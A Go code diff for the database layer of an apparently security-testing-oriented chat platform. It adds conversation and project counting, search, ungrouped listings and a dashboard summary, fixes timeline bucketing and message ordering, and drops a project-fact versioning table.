+91 -3
View File
@@ -361,6 +361,27 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
return &conv, nil return &conv, nil
} }
// CountConversations 统计对话数量。
func (db *DB) CountConversations(search string) (int, error) {
var count int
var err error
if search != "" {
searchPattern := "%" + search + "%"
err = db.QueryRow(
`SELECT COUNT(*) FROM conversations c
WHERE c.title LIKE ?
OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
searchPattern, searchPattern,
).Scan(&count)
} else {
err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
}
if err != nil {
return 0, fmt.Errorf("统计对话失败: %w", err)
}
return count, nil
}
// ListConversations 列出所有对话 // ListConversations 列出所有对话
func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) { func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
var rows *sql.Rows var rows *sql.Rows
@@ -430,6 +451,73 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
return conversations, nil return conversations, nil
} }
const ungroupedConversationsSQL = `
FROM conversations c
WHERE NOT EXISTS (
SELECT 1 FROM conversation_group_mappings cgm WHERE cgm.conversation_id = c.id
)`
// CountUngroupedConversations 统计不在任何分组中的对话数量。
func (db *DB) CountUngroupedConversations() (int, error) {
var count int
if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
return 0, fmt.Errorf("统计未分组对话失败: %w", err)
}
return count, nil
}
// ListUngroupedConversations 列出不在任何分组中的对话(最近对话侧栏)。
func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
rows, err := db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
ungroupedConversationsSQL+`
ORDER BY c.updated_at DESC
LIMIT ? OFFSET ?`,
limit, offset,
)
if err != nil {
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
}
defer rows.Close()
var conversations []*Conversation
for rows.Next() {
var conv Conversation
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
}
if err1 != nil {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
if err2 != nil {
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
}
if err2 != nil {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
conv.Pinned = pinned != 0
conversations = append(conversations, &conv)
}
return conversations, rows.Err()
}
// UpdateConversationTitle 更新对话标题 // UpdateConversationTitle 更新对话标题
func (db *DB) UpdateConversationTitle(id, title string) error { func (db *DB) UpdateConversationTitle(id, title string) error {
// 注意:不更新 updated_at,因为重命名操作不应该改变对话的更新时间 // 注意:不更新 updated_at,因为重命名操作不应该改变对话的更新时间
@@ -604,7 +692,7 @@ func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecu
// GetMessages 获取对话的所有消息 // GetMessages 获取对话的所有消息
func (db *DB) GetMessages(conversationID string) ([]Message, error) { func (db *DB) GetMessages(conversationID string) ([]Message, error) {
rows, err := db.Query( rows, err := db.Query(
"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC", "SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
conversationID, conversationID,
) )
if err != nil { if err != nil {
@@ -799,7 +887,7 @@ func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message str
// GetProcessDetails 获取消息的过程详情 // GetProcessDetails 获取消息的过程详情
func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) { func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
rows, err := db.Query( rows, err := db.Query(
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC", "SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC",
messageID, messageID,
) )
if err != nil { if err != nil {
@@ -835,7 +923,7 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
// GetProcessDetailsByConversation 获取对话的所有过程详情(按消息分组) // GetProcessDetailsByConversation 获取对话的所有过程详情(按消息分组)
func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) { func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
rows, err := db.Query( rows, err := db.Query(
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC", "SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
conversationID, conversationID,
) )
if err != nil { if err != nil {
+5 -52
View File
@@ -334,7 +334,6 @@ func (db *DB) initTables() error {
source_conversation_id TEXT, source_conversation_id TEXT,
source_message_id TEXT, source_message_id TEXT,
pinned INTEGER NOT NULL DEFAULT 0, pinned INTEGER NOT NULL DEFAULT 0,
supersedes_fact_id TEXT,
related_vulnerability_id TEXT, related_vulnerability_id TEXT,
created_at DATETIME NOT NULL, created_at DATETIME NOT NULL,
updated_at DATETIME NOT NULL, updated_at DATETIME NOT NULL,
@@ -342,25 +341,6 @@ func (db *DB) initTables() error {
UNIQUE(project_id, fact_key) UNIQUE(project_id, fact_key)
);` );`
createProjectFactVersionsTable := `
CREATE TABLE IF NOT EXISTS project_fact_versions (
id TEXT PRIMARY KEY,
fact_id TEXT NOT NULL,
project_id TEXT NOT NULL,
fact_key TEXT NOT NULL,
category TEXT NOT NULL DEFAULT 'note',
summary TEXT NOT NULL DEFAULT '',
body TEXT,
confidence TEXT NOT NULL DEFAULT 'tentative',
source_conversation_id TEXT,
source_message_id TEXT,
pinned INTEGER NOT NULL DEFAULT 0,
related_vulnerability_id TEXT,
archived_at DATETIME NOT NULL,
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
);`
// 创建漏洞表 // 创建漏洞表
createVulnerabilitiesTable := ` createVulnerabilitiesTable := `
CREATE TABLE IF NOT EXISTS vulnerabilities ( CREATE TABLE IF NOT EXISTS vulnerabilities (
@@ -598,7 +578,6 @@ func (db *DB) initTables() error {
CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id); CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence); CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id); CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id); CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id); CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id); CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -680,10 +659,6 @@ func (db *DB) initTables() error {
return fmt.Errorf("创建project_facts表失败: %w", err) return fmt.Errorf("创建project_facts表失败: %w", err)
} }
if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
return fmt.Errorf("创建project_fact_versions表失败: %w", err)
}
if _, err := db.Exec(createVulnerabilitiesTable); err != nil { if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
return fmt.Errorf("创建vulnerabilities表失败: %w", err) return fmt.Errorf("创建vulnerabilities表失败: %w", err)
} }
@@ -754,8 +729,8 @@ func (db *DB) initTables() error {
if err := db.migrateProjectsTable(); err != nil { if err := db.migrateProjectsTable(); err != nil {
db.logger.Warn("迁移projects相关表失败", zap.Error(err)) db.logger.Warn("迁移projects相关表失败", zap.Error(err))
} }
if err := db.migrateProjectFactVersionsTable(); err != nil { if err := db.dropProjectFactVersionsTable(); err != nil {
db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err)) db.logger.Warn("清理project_fact_versions表失败", zap.Error(err))
} }
if err := db.migrateWebshellConnectionsTable(); err != nil { if err := db.migrateWebshellConnectionsTable(); err != nil {
@@ -1153,32 +1128,10 @@ func (db *DB) migrateProjectsTable() error {
return nil return nil
} }
// migrateProjectFactVersionsTable 为已有库创建事实版本表。 // dropProjectFactVersionsTable 移除已废弃的事实版本归档表。
func (db *DB) migrateProjectFactVersionsTable() error { func (db *DB) dropProjectFactVersionsTable() error {
ddl := ` _, err := db.Exec(`DROP TABLE IF EXISTS project_fact_versions`)
CREATE TABLE IF NOT EXISTS project_fact_versions (
id TEXT PRIMARY KEY,
fact_id TEXT NOT NULL,
project_id TEXT NOT NULL,
fact_key TEXT NOT NULL,
category TEXT NOT NULL DEFAULT 'note',
summary TEXT NOT NULL DEFAULT '',
body TEXT,
confidence TEXT NOT NULL DEFAULT 'tentative',
source_conversation_id TEXT,
source_message_id TEXT,
pinned INTEGER NOT NULL DEFAULT 0,
related_vulnerability_id TEXT,
archived_at DATETIME NOT NULL,
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
);`
if _, err := db.Exec(ddl); err != nil {
return err return err
}
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
return nil
} }
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
+32 -26
View File
@@ -3,6 +3,7 @@ package database
import ( import (
"database/sql" "database/sql"
"encoding/json" "encoding/json"
"sort"
"strings" "strings"
"time" "time"
@@ -500,23 +501,24 @@ type CallsTimelineBucket struct {
Failed int Failed int
} }
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
t = t.In(time.Local)
if dailyBuckets {
y, m, d := t.Date()
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
}
return t.Truncate(time.Hour)
}
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界) // LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) { func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
var bucketExpr string // 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
if dailyBuckets {
bucketExpr = `strftime('%Y-%m-%d 00:00:00', start_time)`
} else {
bucketExpr = `strftime('%Y-%m-%d %H:00:00', start_time)`
}
query := ` query := `
SELECT ` + bucketExpr + ` AS bucket, SELECT start_time,
COUNT(*) AS total, CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
FROM tool_executions FROM tool_executions
WHERE start_time >= ? WHERE start_time >= ?
GROUP BY bucket
ORDER BY bucket ASC
` `
rows, err := db.Query(query, since) rows, err := db.Query(query, since)
@@ -525,28 +527,32 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
} }
defer rows.Close() defer rows.Close()
var buckets []CallsTimelineBucket bucketMap := make(map[time.Time]struct{ total, failed int })
for rows.Next() { for rows.Next() {
var bucketStr string var startTime time.Time
var total, failed int var failed int
if err := rows.Scan(&bucketStr, &total, &failed); err != nil { if err := rows.Scan(&startTime, &failed); err != nil {
db.logger.Warn("加载调用趋势失败", zap.Error(err)) db.logger.Warn("加载调用趋势失败", zap.Error(err))
continue continue
} }
t, parseErr := time.ParseInLocation("2006-01-02 15:04:05", bucketStr, time.Local) key := truncateCallsTimelineBucket(startTime, dailyBuckets)
if parseErr != nil { entry := bucketMap[key]
t, parseErr = time.Parse("2006-01-02 15:04:05", bucketStr) entry.total++
if parseErr != nil { entry.failed += failed
db.logger.Warn("解析趋势时间桶失败", zap.String("bucket", bucketStr), zap.Error(parseErr)) bucketMap[key] = entry
continue
}
} }
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
for bucketTime, counts := range bucketMap {
buckets = append(buckets, CallsTimelineBucket{ buckets = append(buckets, CallsTimelineBucket{
BucketTime: t, BucketTime: bucketTime,
Total: total, Total: counts.total,
Failed: failed, Failed: counts.failed,
}) })
} }
sort.Slice(buckets, func(i, j int) bool {
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
})
return buckets, nil return buckets, nil
} }
+38 -23
View File
@@ -51,7 +51,6 @@ type ProjectFact struct {
SourceConversationID string `json:"source_conversation_id,omitempty"` SourceConversationID string `json:"source_conversation_id,omitempty"`
SourceMessageID string `json:"source_message_id,omitempty"` SourceMessageID string `json:"source_message_id,omitempty"`
Pinned bool `json:"pinned"` Pinned bool `json:"pinned"`
SupersedesFactID string `json:"supersedes_fact_id,omitempty"`
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"` RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
CreatedAt time.Time `json:"created_at"` CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"` UpdatedAt time.Time `json:"updated_at"`
@@ -112,10 +111,30 @@ func (db *DB) GetProject(id string) (*Project, error) {
return &p, nil return &p, nil
} }
// CountProjects 统计项目数量。
func (db *DB) CountProjects(status, search string) (int, error) {
query := `SELECT COUNT(*) FROM projects WHERE 1=1`
args := []interface{}{}
if s := strings.TrimSpace(status); s != "" {
query += " AND status = ?"
args = append(args, s)
}
if q := strings.TrimSpace(search); q != "" {
pattern := "%" + q + "%"
query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
args = append(args, pattern, pattern)
}
var count int
if err := db.QueryRow(query, args...).Scan(&count); err != nil {
return 0, fmt.Errorf("统计项目失败: %w", err)
}
return count, nil
}
// ListProjects 列出项目。 // ListProjects 列出项目。
func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) { func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
if limit <= 0 { if limit <= 0 {
limit = 200 limit = 50
} }
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
FROM projects WHERE 1=1` FROM projects WHERE 1=1`
@@ -124,6 +143,11 @@ func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error)
query += " AND status = ?" query += " AND status = ?"
args = append(args, s) args = append(args, s)
} }
if q := strings.TrimSpace(search); q != "" {
pattern := "%" + q + "%"
query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
args = append(args, pattern, pattern)
}
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?" query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
args = append(args, limit, offset) args = append(args, limit, offset)
@@ -215,7 +239,7 @@ func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) { func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence, query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned, COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at COALESCE(related_vulnerability_id,''), created_at, updated_at
FROM project_facts WHERE project_id = ?` FROM project_facts WHERE project_id = ?`
args := []interface{}{projectID} args := []interface{}{projectID}
if !includeDeprecated { if !includeDeprecated {
@@ -237,7 +261,7 @@ func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, l
} }
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence, query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned, COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at COALESCE(related_vulnerability_id,''), created_at, updated_at
FROM project_facts WHERE project_id = ?` FROM project_facts WHERE project_id = ?`
args := []interface{}{projectID} args := []interface{}{projectID}
if c := strings.TrimSpace(filter.Category); c != "" { if c := strings.TrimSpace(filter.Category); c != "" {
@@ -276,7 +300,7 @@ func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, erro
row := db.QueryRow( row := db.QueryRow(
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence, `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned, COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at COALESCE(related_vulnerability_id,''), created_at, updated_at
FROM project_facts WHERE project_id = ? AND fact_key = ?`, FROM project_facts WHERE project_id = ? AND fact_key = ?`,
projectID, factKey, projectID, factKey,
) )
@@ -288,7 +312,7 @@ func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
row := db.QueryRow( row := db.QueryRow(
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence, `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned, COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at COALESCE(related_vulnerability_id,''), created_at, updated_at
FROM project_facts WHERE id = ?`, id, FROM project_facts WHERE id = ?`, id,
) )
return scanProjectFactRow(row) return scanProjectFactRow(row)
@@ -327,24 +351,15 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
if strings.TrimSpace(f.Confidence) == "" { if strings.TrimSpace(f.Confidence) == "" {
f.Confidence = existing.Confidence f.Confidence = existing.Confidence
} }
if projectFactContentChanged(existing, f) {
versionID, verr := db.InsertProjectFactVersion(existing)
if verr != nil {
return nil, verr
}
f.SupersedesFactID = versionID
} else if f.SupersedesFactID == "" {
f.SupersedesFactID = existing.SupersedesFactID
}
_, err = db.Exec( _, err = db.Exec(
`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?, `UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
source_conversation_id = COALESCE(?, source_conversation_id), source_conversation_id = COALESCE(?, source_conversation_id),
source_message_id = COALESCE(?, source_message_id), source_message_id = COALESCE(?, source_message_id),
pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ? pinned = ?, related_vulnerability_id = ?, updated_at = ?
WHERE id = ?`, WHERE id = ?`,
f.Category, f.Summary, f.Body, f.Confidence, f.Category, f.Summary, f.Body, f.Confidence,
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned), nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID, nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
) )
if err != nil { if err != nil {
return nil, fmt.Errorf("更新事实失败: %w", err) return nil, fmt.Errorf("更新事实失败: %w", err)
@@ -360,12 +375,12 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
_, err = db.Exec( _, err = db.Exec(
`INSERT INTO project_facts ( `INSERT INTO project_facts (
id, project_id, fact_key, category, summary, body, confidence, id, project_id, fact_key, category, summary, body, confidence,
source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id, source_conversation_id, source_message_id, pinned, related_vulnerability_id,
created_at, updated_at created_at, updated_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned), nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), nullIfEmpty(f.RelatedVulnerabilityID),
f.CreatedAt, f.UpdatedAt, f.CreatedAt, f.UpdatedAt,
) )
if err != nil { if err != nil {
@@ -440,7 +455,7 @@ func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
err := row.Scan( err := row.Scan(
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence, &f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
&f.SourceConversationID, &f.SourceMessageID, &pinned, &f.SourceConversationID, &f.SourceMessageID, &pinned,
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
) )
if err != nil { if err != nil {
if err == sql.ErrNoRows { if err == sql.ErrNoRows {
@@ -461,7 +476,7 @@ func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
err := rows.Scan( err := rows.Scan(
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence, &f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
&f.SourceConversationID, &f.SourceMessageID, &pinned, &f.SourceConversationID, &f.SourceMessageID, &pinned,
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
) )
if err != nil { if err != nil {
return nil, err return nil, err
+91
View File
@@ -0,0 +1,91 @@
package database
import (
"fmt"
"strings"
"time"
)
// ProjectDashboardFact 仪表盘跨项目近期事实条目。
type ProjectDashboardFact struct {
ID string `json:"id"`
ProjectID string `json:"project_id"`
ProjectName string `json:"project_name"`
FactKey string `json:"fact_key"`
Category string `json:"category"`
Summary string `json:"summary"`
Confidence string `json:"confidence"`
Pinned bool `json:"pinned"`
UpdatedAt time.Time `json:"updated_at"`
}
// ProjectDashboardTotals 仪表盘项目事实汇总计数。
type ProjectDashboardTotals struct {
ActiveProjects int `json:"active_projects"`
TotalFacts int `json:"total_facts"`
}
// ProjectDashboardSummary 仪表盘项目情报摘要。
type ProjectDashboardSummary struct {
RecentFacts []ProjectDashboardFact `json:"recent_facts"`
Totals ProjectDashboardTotals `json:"totals"`
}
// GetProjectDashboardSummary 聚合跨项目近期事实(仅活跃项目、排除 deprecated)。
func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
if factLimit <= 0 {
factLimit = 5
}
if factLimit > 50 {
factLimit = 50
}
out := &ProjectDashboardSummary{
RecentFacts: []ProjectDashboardFact{},
}
if err := db.QueryRow(`SELECT COUNT(*) FROM projects WHERE status = 'active'`).Scan(&out.Totals.ActiveProjects); err != nil {
return nil, fmt.Errorf("统计活跃项目失败: %w", err)
}
if err := db.QueryRow(
`SELECT COUNT(*) FROM project_facts f
INNER JOIN projects p ON p.id = f.project_id
WHERE f.confidence != 'deprecated' AND p.status = 'active'`,
).Scan(&out.Totals.TotalFacts); err != nil {
return nil, fmt.Errorf("统计事实失败: %w", err)
}
rows, err := db.Query(
`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
FROM project_facts f
INNER JOIN projects p ON p.id = f.project_id
WHERE f.confidence != 'deprecated' AND p.status = 'active'
ORDER BY f.pinned DESC, f.updated_at DESC
LIMIT ?`,
factLimit,
)
if err != nil {
return nil, fmt.Errorf("查询近期事实失败: %w", err)
}
defer rows.Close()
for rows.Next() {
var item ProjectDashboardFact
var pinned int
var updatedAt string
if err := rows.Scan(
&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
); err != nil {
return nil, err
}
item.Pinned = pinned != 0
item.ProjectName = strings.TrimSpace(item.ProjectName)
item.UpdatedAt = parseDBTime(updatedAt)
out.RecentFacts = append(out.RecentFacts, item)
}
if err := rows.Err(); err != nil {
return nil, err
}
return out, nil
}
@@ -135,54 +135,6 @@ func TestRestoreProjectFact(t *testing.T) {
} }
} }
func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
dbPath := filepath.Join(t.TempDir(), "facts.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
proj, err := db.CreateProject(&Project{Name: "version-test"})
if err != nil {
t.Fatal(err)
}
created, err := db.UpsertProjectFact(&ProjectFact{
ProjectID: proj.ID,
FactKey: "finding/xss",
Category: "finding",
Summary: "v1",
Body: "body v1",
})
if err != nil {
t.Fatal(err)
}
if created.SupersedesFactID != "" {
t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
}
updated, err := db.UpsertProjectFact(&ProjectFact{
ProjectID: proj.ID,
FactKey: "finding/xss",
Summary: "v2",
Body: "body v2",
})
if err != nil {
t.Fatal(err)
}
if updated.SupersedesFactID == "" {
t.Fatal("expected supersedes_fact_id after content change")
}
prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
if err != nil {
t.Fatal(err)
}
if prev.Summary != "v1" || prev.Body != "body v1" {
t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
}
}
func TestMergeFactBodyOnUpdate(t *testing.T) { func TestMergeFactBodyOnUpdate(t *testing.T) {
if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" { if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
t.Fatalf("empty incoming: got %q", got) t.Fatalf("empty incoming: got %q", got)
-144
View File
@@ -1,144 +0,0 @@
package database
import (
"database/sql"
"fmt"
"strings"
"time"
"github.com/google/uuid"
)
// ProjectFactVersion 事实历史快照(同 fact_key 更新前归档)。
type ProjectFactVersion struct {
ID string `json:"id"`
FactID string `json:"fact_id"`
ProjectID string `json:"project_id"`
FactKey string `json:"fact_key"`
Category string `json:"category"`
Summary string `json:"summary"`
Body string `json:"body"`
Confidence string `json:"confidence"`
SourceConversationID string `json:"source_conversation_id,omitempty"`
SourceMessageID string `json:"source_message_id,omitempty"`
Pinned bool `json:"pinned"`
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
ArchivedAt time.Time `json:"archived_at"`
}
// InsertProjectFactVersion 将当前事实行快照写入版本表。
func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
if f == nil || f.ID == "" {
return "", fmt.Errorf("无效的事实记录")
}
id := uuid.New().String()
now := time.Now()
_, err := db.Exec(
`INSERT INTO project_fact_versions (
id, fact_id, project_id, fact_key, category, summary, body, confidence,
source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
nullIfEmpty(f.RelatedVulnerabilityID), now,
)
if err != nil {
return "", fmt.Errorf("归档事实版本失败: %w", err)
}
return id, nil
}
// GetProjectFactVersion 按版本 ID 获取快照。
func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
row := db.QueryRow(
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
COALESCE(related_vulnerability_id,''), archived_at
FROM project_fact_versions WHERE id = ?`, versionID,
)
return scanProjectFactVersionRow(row)
}
// ListProjectFactVersions 列出某条事实的全部历史版本(新→旧)。
func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
